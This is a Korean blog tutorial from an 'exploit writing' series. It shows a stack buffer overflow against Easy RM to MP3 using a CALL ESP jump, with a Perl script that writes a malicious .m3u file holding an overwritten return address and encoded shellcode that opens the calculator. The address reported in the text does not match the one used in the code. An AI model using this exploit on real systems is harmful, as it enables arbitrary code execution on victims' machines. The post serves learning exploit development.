[exploit writing] 2_쉘코드로 점프 (2)

바로 전에 포스팅했던 쉘코드를 실행시킬 수 있는 방법들 중 하나를 해볼 것이다.

1. CALL [register]

만약 레지스터에 쉘코드를 직접 가리키는 주소가 로드 되었다면, 쉘코드로 점프하기 위해 단순히 CALL [reg] 를 수행하면 된다.

다시 말해서, ESP가 직접 쉘코드를 가리킨다면(ESP의 첫 번째 바이트가 쉘코드의 첫 바이트와 동일), 'CALL ESP' 주소로 EIP를 덮어쓰기만 해도 쉘코드가 정상적으로 실행이 될 것이다. 이 기법에 쓰이는 kernel32.dll이 많은 CALL [reg] 주소들을 포함하고 있어, 이용 가능한 레지스터들의 범위가 넓고, 꽤 유명한 방식으로 알려져 있다.

ESP가 쉘코드를 직접 가리킨다고 가정해 보자. 첫째로, CALL ESP 기계어를 포함하는 주소를 찾아보자. 여기서 findjmp를 이용한다.

findjmp를 xp환경에서 다운받아 실행하여야 한다.
사실 ollydbg를 다운받아 리버싱해서 찾아내려고 했지만 실패했다...ㅜ

findjmp 프로그램 다운 받았던 곳
http://g0n4k00.tistory.com/57



0x7C736A78 에 call esp 라는 주소가 있는 것을 알아냈다.

my $file = "test1.m3u";
my $junk = "\x41" x 26064;
my $eip = pack('V', 0x7c836A78);
my $prependesp = "XXXX";
my $shellcode = "\x90" x 25; # 0x90 = NOP
$shellcode = $shellcode."\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE, ">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created Successfully \n";

위 코드는 저번에 첫번째 스택 기반의 버퍼오버플로우에서 했던 코드를 수정한 것이다.
우선 $junk 변수에 26064 는 컴퓨터마다 다르니 스택 기반의 버퍼오버플로우를 통해 자신의 버퍼오버플로우가 일어나는 갯수를 알아봐야한다.

pack 함수에서 아까 findjmp 프로그램을 통해 알아낸 esp로 가는 주소로 점프시켜 계산기를 실행하게 할 것이다. (첫번째 스택 버퍼오버플로우 참조)

prependesp = "XXXX" 는 임의의 4바이트를 더해서 esp가 쉘코드의 시작을 가리키도록 설정한다.

자신의 컴퓨터에 맞게 코드를 수정한 뒤 실행시켜보자.


Easy RM to MP3 프로그램에서 수정한 코드로 생성된 파일을 Load해보면 계산기가 실행되는 것일 알 수 있다.

댓글

이 블로그의 인기 게시물

윈도우 설치에서 파티션 설정 오류(NTFS)

[exploit writing] 1_스택 기반 오버플로우 (1) First

하둡 설치 오류 정리